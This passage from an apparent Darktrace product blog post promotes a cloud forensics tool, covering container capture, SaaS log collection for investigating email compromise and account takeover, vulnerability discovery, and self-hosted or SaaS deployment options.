Figure 4: Container investigations – this example is showing the ability to capture containers from managed Kubernetes cloud services

SaaS Log Collection for Modern Investigations

Beyond infrastructure-level data, the solution collects logs from SaaS providers such as Microsoft 365, Entra ID, and Google Workspace. This enables investigations into common attack types like business email compromise (BEC), account takeover (ATO), and insider threats — giving teams visibility into both infrastructure-level and SaaS-driven compromise from a single platform.

Figure 5: Ability to import logs from SaaS providers including Microsoft 365, Entra ID, and Google Workspace

Proactive Vulnerability and Malware Discovery

Finally, the solution surfaces risk proactively with vulnerability and malware discovery for Linux-based cloud resources. Vulnerabilities are presented in a searchable table and correlated with the attacker timeline, enabling teams to quickly understand not just which packages are exposed, but whether they have been targeted or exploited in the context of an incident.

Figure 6: Vulnerability data with pivot points into the attacker timeline

Cloud-Native Scale and Performance

Darktrace / Forensic Acquisition & Investigation uses a cloud-native parallel processing architecture that spins up compute resources on demand, ensuring that investigations run at scale without bottlenecks. Detailed reporting and summaries are automatically generated, giving teams a clear record of the investigation process and supporting compliance, litigation readiness, and executive reporting needs.

Scalable and Flexible Deployment Options

Every organization has different requirements for speed, control, and integration. Darktrace / Forensic Acquisition & Investigation is designed to meet those needs with two flexible deployment models.

  • Self-Hosted Virtual Appliance delivers deep integration and control across hybrid environments, preserving forensic data for compliance and litigation while scaling to the largest enterprise investigations.
  • SaaS-Delivered Deployment provides fast time-to-value out of the box, enabling automated forensic response without requiring deep cloud expertise or heavy setup.

Both models are built to scale across regions and accounts, ensuring organizations of any size can achieve rapid value and adapt the solution to their unique operational and compliance needs. This flexibility makes advanced cloud forensics accessible to every security team — whether they are optimizing for speed, integration depth, or regulatory alignment

Delivering Advanced Cloud Forensics for Every Team

Until now, forensic investigations were slow, manual, and reserved for only the largest organizations with specialized DFIR expertise. Darktrace / Forensic Acquisition & Investigation changes that by leveraging the scale and elasticity of the cloud itself to automate the entire investigation process. From capturing full disk and memory at detection to reconstructing attacker timelines in minutes, the solution turns fragmented workflows into streamlined investigations available to every team.

Whether deployed as a SaaS-delivered service for fast time-to-value or as a self-hosted appliance for deep integration, Darktrace / Forensic Acquisition & Investigation provides the features that matter most: automated evidence capture, cross-cloud investigations, forensic depth for ephemeral assets, and root cause clarity without manual effort.

With Darktrace / Forensic Acquisition & Investigation, what once took days now takes minutes. Now, forensic investigations in the cloud are faster, more scalable, and finally accessible to every security team, no matter their size or expertise.

[related-resource]

Sources: [1], [2] Darktrace Report: Organizations Require a New Approach to Handle Investigations in the Cloud

Additional Resources

Continue reading
About the author
Paul Bottomley
Director of Product Management | Darktrace
Your data. Our AI.
Elevate your network security with Darktrace AI